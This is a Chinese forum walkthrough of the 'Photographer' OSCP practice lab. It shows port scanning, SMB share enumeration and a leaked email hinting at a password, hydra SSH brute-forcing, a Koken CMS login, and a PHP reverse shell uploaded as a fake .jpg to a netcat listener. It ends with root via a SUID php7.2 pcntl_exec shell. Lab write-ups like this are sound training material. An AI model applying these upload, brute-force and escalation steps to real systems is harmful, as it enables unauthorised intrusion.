OSCP系列靶场-Esay-Photographer

杳若   ·   发表于 2023-07-30 21:40:14   ·   CTF&WP专版

OSCP系列靶场-Esay-Photographer

总结

getwebshell : SMB免密访问 → 发现敏感邮箱 → 获得用户名以及密码 → 登录后台 → 文件上传getwebshell

提 权 思 路 : suid权限文件查找 → phpsuid提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.194

  • 启动靶机
    获取目标机器IP → 192.168.203.76

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
# tcp全端口扫描
sudo nmap --min-rate 10000 -p- 192.168.203.76

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
8000/tcp open  http-alt

# ucp全端口扫描
sudo nmap -sU --min-rate 10000 -p- 192.168.203.76

PORT    STATE SERVICE
137/udp open  netbios-ns


开放的端口Tcp-→22,80,139,445,8000
开放的端口Ucp-→137

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,80,139,445,8000 192.168.203.76

# udp探测
sudo nmap -sT -sV -O -sC -p137 192.168.203.76

PORT    STATE  SERVICE    VERSION
137/tcp closed netbios-ns

信息收集-端口测试

开放的端口看起来有点小多,但是137,139,445端口的开放本质上就是SMB服务的开放。 80与8000是http服务

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.2p2 Ubuntu

# 搜索对应脚本
msf6 → searchsploit OpenSSH 7.2p2

发现搜索到可利用的和用户枚举有关(待定)

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root @192.168.203.76 -v

显示publickeypassword就是支持密钥以及密码登录

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

sudo ssh root @192.168.203.76 -p 22
# 密码尝试
password → root


弱密码尝试失败

22-SSH弱口令爆破(静静等待)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.203.76 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集

80-HTTP端口的信息收集

访问 http://192.168.203.76:80 应该是一个标准的CMS,还有作者

信息收集-网站指纹

┌──(root㉿Kali)-[/home/bachang/Photographer]
└─# whatweb http://192.168.203.76:80  
http://192.168.203.76:80 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[192.168.203.76], JQuery, Script, Title[Photographer by v1n1v131r4]

CMS应该是Photographer

漏洞利用-网站指纹

searchsploit Photographer

找了一下看上去不太像捏

信息收集-HTML隐藏信息查看

# 利用html2text转换纯文本方便查看
curl http://192.168.203.76:80 | html2text

没什么隐藏信息

信息收集-目录扫描

信息收集-目录扫描初步
dirsearch -u http://192.168.203.76:80 -x 302,403


因为扫出了目录,深层次的扫描待选

信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问

/assets/端点

发现这里存在文件路径遍历


戳进去看了看没啥信息

/images/端点同理

445-SMB端口的信息收集

445-SMB是否无需密码探测(存在)

连接成功则SMB没有开启密码

# 利用-L查看SMB的内容
smbclient -L //192.168.203.76

445-SMB文件信息收集

# 利用获取到的[sambashare]直接进行访问查看内容
smbclient //192.168.203.76/sambashare -U root

发现了一个txt以及一个zip文件,zip看上去是源码备份,太大了下载不了。

445-SMB用户名获取(待定)

# 抓取用户名
enum4linux 192.168.203.76

445-SMB的上传(不行)

# 创建一个文本测试上传
touch 1.txt
# 利用获取到的sambashare直接进行访问之后尝试使用PUT是否成功
smbclient //192.168.203.76/sambashare -U root
smb :\ → put 1.txt

445文件查看

里面只有一个文本可以查看

# cat mailsent.txt  
Message-ID: 
Date: Mon, 20 Jul 2020 11:40:36 -0400
From: Agi Clarence 
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Daisa Ahomi 
Subject: To Do - Daisa Website's
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi Daisa!
Your site is ready now.
Don't forget your secret, my babygirl ;)

大致内容是agi @photographer.com写给daisa @photographer.com???
应该是agi给daisa建了站,然后让daisa不要忘记密码 my babygirl ;)
推测密码和 my babygirl ;)有关

8000-HTTP端口的信息收集

访问 http://192.168.203.76:8000 不是CMS我们直接从HTML隐藏信息收集开始

信息收集-网站指纹

# whatweb http://192.168.203.76:8000
http://192.168.203.76:8000 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[192.168.203.76], JQuery[1.12.4], Meta-Author[daisa ahomi], MetaGenerator[Koken 0.22.24], Script, Title[daisa ahomi], X-UA-Compatible[IE=edge]

得到了CSM信息Koken 0.22.24以及daisa ahomi,应该是daisa的站点

漏洞利用-网站指纹

searchsploit Koken 0.22.24

发现了一条文件上传


查看了一下

cat /usr/share/exploitdb/exploits/php/webapps/48706.txt

利用burp修改后缀进行上传绕过

访问对应提供的路径是404,去掉了一级目录发现是个api,应该需要先找到上传点,等目录扫描之后再看

信息收集-HTML隐藏信息查看

# 利用html2text转换纯文本方便查看
curl http://192.168.203.76:8000 | html2text

没什么信息

信息收集-目录扫描

信息收集-目录扫描初步
dirsearch -u http://192.168.203.76:8000 -x 302,403


因为扫出了目录,深层次的扫描待选

信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问

尝试访问几个端点


最终发现只有上传点可行 `http://192.168.203.76:8000/admin/index.html
得到了一个登录端点

漏洞利用-getwebshell

登录端点最佳实践

发现存在登录端点时尝试的最佳实践指南

漏洞利用-默认凭证

若存在目标的指纹网上公开查找是否存在通用账号以及默认密码

漏洞利用-信息泄露

该登录端点需要的是邮箱进行登录,之前的title我们知道8000是daisa的站点
账号锁定为daisa @photographer.com密码和 my babygirl ;)有关
尝试进行登录


尝试登录,多次测试之后发现密码是babygirl

文件上传getwebshell

登录之后寻找和content有关的端点,发现上传点的位置


启动burp,准备反弹shell

# 利用cp命令cp一个kali自带的shell到当前文件夹并且命名为shell.jgp
sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell.jpg
# 开启监听
sudo nc -lvnp 5555

反弹shell配置

# 利用grep确定修改反弹shell_ip的第49行
grep -n "127.0.0.1" shell.jpg                
→ 49:$ip = '127.0.0.1';  // CHANGE THIS
# 同理监听端口是第50行
grep -n "1234" shell.php
50:$port = 1234;       // CHANGE THIS
# 利用sed命令替换里面的内容
sed -i '49s/127.0.0.1/192.168.45.194/' shell.jpg
sed -i '50s/1234/5555/' shell.jpg
# 利用sed查看49与50行是否修改成功
sed -n '49,50p' shell.jpg

burp进行后缀修改


修改两处


跟随重定向到上传地址

curl http:\/\/192.168.203.76:8000\/storage\/originals\/78\/8c\/shell.php

访问成功反弹shell

内网遨游-getshell

交互shell

由于获取的shell交互不友好,利用python获得新的交互shell

python -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

www-data @photographer:/$ find / -name local.txt 2→/dev/null
/home/daisa/local.txt
www-data @photographer:/$ cat /home/daisa/local.txt
a509b595ea9755912085875166c1b4e8

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
www-data @photographer:/$ lsb_release -a                      
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.6 LTS
Release:        16.04
Codename:       xenial

发行版本为Ubuntu 16.04,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

www-data @photographer:/$ uname -a
Linux photographer 4.15.0-115-generic #116~16.04.1-Ubuntu SMP Wed Aug 26 17:36:48 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

内核版本为4.15.0

检测当前用户的权限

www-data @photographer:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
sudo -l

发现需要密码

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

# -perm 文件权限
www-data @photographer:/$ find / -perm -u=s -type f 2→/dev/null
find / -perm -u=s -type f 2→/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/sbin/pppd
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/php7.2
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/chfn
/bin/ping
/bin/fusermount
/bin/mount
/bin/ping6
/bin/umount
/bin/su

权限提升

suid权限提升之php

suid文件中发现一个脚本语言


如果发现有东西的话 访问 https://gtfobins.github.io 寻找

sudo install -m =xs $(which php) .

CMD="/bin/sh"
./php -r "pcntl_exec('/bin/sh', ['-p']);"

修改一下成功进行提权

www-data @photographer:/$ php7.2 -r "pcntl_exec('/bin/sh', ['-p']);"
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

FLAG2获取

# cat /root/proof.txt
da9106af9eb8e2c891067610b1522ace


完结撒花~

总结

这个敏感信息中的密码格式蛮奇怪的
My xxxxx ;) 格式的时候留意一下 xxxxx 可能是密码

;)这个应该是颜表情,为啥不:-)

用户名金币积分时间理由
Track-魔方 500.00 0 2023-08-06 15:03:52 深度 200 普适 200 可读 100

打赏我,让我更有动力~

0 条回复   |  直到 9个月前 | 276 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.